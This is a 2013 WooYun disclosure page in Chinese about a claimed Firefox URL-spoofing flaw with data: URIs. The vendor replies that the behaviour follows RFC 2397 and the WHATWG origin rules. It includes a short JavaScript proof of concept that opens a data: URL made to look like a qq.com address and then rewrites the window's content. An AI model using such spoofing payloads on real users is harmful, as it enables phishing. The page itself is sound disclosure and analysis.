当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-016866

漏洞标题:Firefox URL欺骗漏洞

相关厂商:火狐浏览器

漏洞作者: Sogili

提交时间:2013-01-03 12:40

修复时间:2013-01-05 11:20

公开时间:2013-01-05 11:20

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-01-03: 细节已通知厂商并且等待厂商处理中
2013-01-05: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

由于某些URL协议实现的不严谨导致URL欺骗漏洞

详细说明:

由于firefox在实现data uri协议的时候不指定mediatype也是一个合法的data url,导致我们可以在parameters处做url欺骗.

漏洞证明:

<script>
function poc(){
var w=open('data:;//view.news.qq.com/zt2012/modern_times/index.htm#1,2');
setTimeout(function(){
w.document.body.innerHTML='sogili hehehe';
},100)
}
</script>
<button onclick=poc();>clickme</button>

修复方案:

限制data uri parameters的格式

版权声明:转载请注明来源 Sogili@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2013-01-05 11:20

厂商回复:

首先,感谢作者关注火狐并提出这个问题。
关于这个问题,我们查阅了相关标准说明,认为这不是一个漏洞。
这是作者提供漏洞证明:
<script>
function poc(){
var w=open('data:;//view.news.qq.com/zt2012/modern_times/index.htm#1,2');
setTimeout(function(){
w.document.body.innerHTML='sogili hehehe';
},100)
}
</script>
<button onclick=poc();>clickme</button>
代码解读如下:
/*
这段代码尝试打开一段data uri schema,
这段data uri没有设定mimetype,并且charset指定格式无效,即mediatype没有指定,根据rfc(参考文献[1])的说明:
“If <mediatype> is omitted, it defaults to text/plain;charset=US-ASCII. As a shorthand, "text/plain" can be omitted but the charset parameter supplied.”
所以对于浏览器来说,这段uri等同于:
data:text/plain;charset=US-ASCII,2
*/
var w=open('data:;//view.news.qq.com/zt2012/modern_times/index.htm#1,2');
/*
这段代码尝试更改新开data uri页面的网页内容。
根据WHATWG对origin(参考文献[2])的说明:
“If a Document was generated from a data: URL found in another Document or in a script
The origin is an alias to the origin of the Document or script that initiated the navigation to that URL.
The effective script origin is initially an alias to the effective script origin of the Document or script that initiated the navigation to that URL.

新开的窗口(也就是w)的origin和执行这段脚本的窗口一致,所以这段代码有权限更改新开窗口的内容,也就是说新开窗口的内容会被替换成 “sogili hehehe”
*/
w.document.body.innerHTML='sogili hehehe';
结论:
这个问题的证明程序,执行的结果和相关标准的说明表现一致,因此不是漏洞。
参考文献:
[1] http://www.ietf.org/rfc/rfc2397.txt
[2] http://www.whatwg.org/specs/web-apps/current-work/multipage/origin-0.html#concept-origin-alias
最后,再次感谢作者对火狐的关注!希望今后能得到各位继续支持,共建美好而安全的互联网世界。

最新状态:

暂无